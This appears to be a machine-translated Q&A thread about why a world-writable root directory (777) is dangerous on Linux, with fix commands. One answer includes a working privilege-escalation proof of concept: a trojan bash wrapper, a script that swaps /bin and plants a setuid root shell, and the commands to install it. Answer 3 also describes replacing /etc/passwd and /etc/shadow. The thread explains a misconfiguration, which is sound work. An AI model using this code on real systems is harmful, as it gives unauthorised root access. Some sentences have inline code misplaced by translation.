/誰でも書き込み可能ではない

/誰でも書き込み可能ではない

内容のほとんどは755です。

これは問題でしょうか?

答え1

/実際に777権限を設定できるというのは興味深いことです。/フォルダには権限を設定すべきではありません777。これは、システムにログインしているすべてのユーザーがルートレベルでファイルやフォルダを作成できることを意味します/。私はこれをVMでテストしましたが、できない、または777でないフォルダーまたはファイルを削除します。フォルダー自体にアクセスしようとすると、アクセス許可が拒否されるなど、アクセス許可は引き続き適用されます。ただし、そうは言っても、フォルダーを に移動して、少し混乱を招くことは可能です。sudorootowner/root/root/root.old

これを修正するには、 を実行してsudo chmod 755 /権限を適切なものに変更します。 を実行して、所有sudo chown root:root /者が root 自身であることを確認することもできます。 これらのコマンドを -R 付きで実行しないでください。これにより、パーティション内のすべてのファイルとフォルダーがアクセス許可と所有権に合わせて変更されます。

お役に立てれば!

答え2

/誰でも書き込み可能ではない

/誰でも書き込み可能であることは巨大な問題。 への書き込み権限を持つ/すべてのユーザーは、 内の任意のファイルまたはディレクトリを移動したり、名前を変更したりできます/。つまり、すべてのユーザーは/etc、 、/usrまたは 内の他のディレクトリを、/自分が選択したディレクトリに置き換えることができます。

サービス拒否: 軽微

/etcどのユーザーでも、名前を変更したりすることで、簡単にシステムへの DoS 攻撃を行うことができます/usr

権限昇格: 少しばかり些細なことではない

権限昇格を実行するのはやや困難です。ユーザーは/bin自分のコピーに置き換えることができ、その後使用しようとするプロセスcp、あるいはシェルを起動するは、すぐに彼らの思うがままになります。ユーザーがしなければならないのは、root として実行されているプロセスが でコマンドを使用する/binか、root ユーザーがログインを使用するのを待つことだけです。

bash.c:

#include<sys/types.h>
#include<unistd.h>

int main(int argc, char*argv[], char *env[])
{
    if (getuid() == 0) {
        system("/home/muru/foo");
    }
    execve("/bin/bash", argv, env); 
}

foo:

#!/bin/sh

mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash

その後:

$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin

そして、次回 root がシェルを起動すると、ホーム ディレクトリに setuid 実行可能ファイルが作成され、これを使用して、痕跡をほとんど残さずにいつでも快適に root を取得できるようになります。

答え3

/いいえ。 (ルート ディレクトリに)777権限を持たせるのは安全ではありません。つまりrwxrwxrwx、すべてのユーザーにルート ディレクトリへの書き込み権限があるということです。

この権限があれば、すべてのユーザーが新しいサブディレクトリを作成したり、既存のサブディレクトリを削除したり、既存のサブディレクトリを置き換えたりすることができます。たとえば、悪意のあるユーザーは を削除/bin(名前を に変更/bin.old) し、自分が所有する新しい を作成して/bin、悪意のある実行ファイルを含めることができます。または、ユーザーは を削除/etc(名前を に変更) し、新しいおよびファイルを含む/etc.old新しい を作成して、システム上のすべてのアカウントにログインできるようにすることができます。/etc/etc/passwd/etc/shadow

関連情報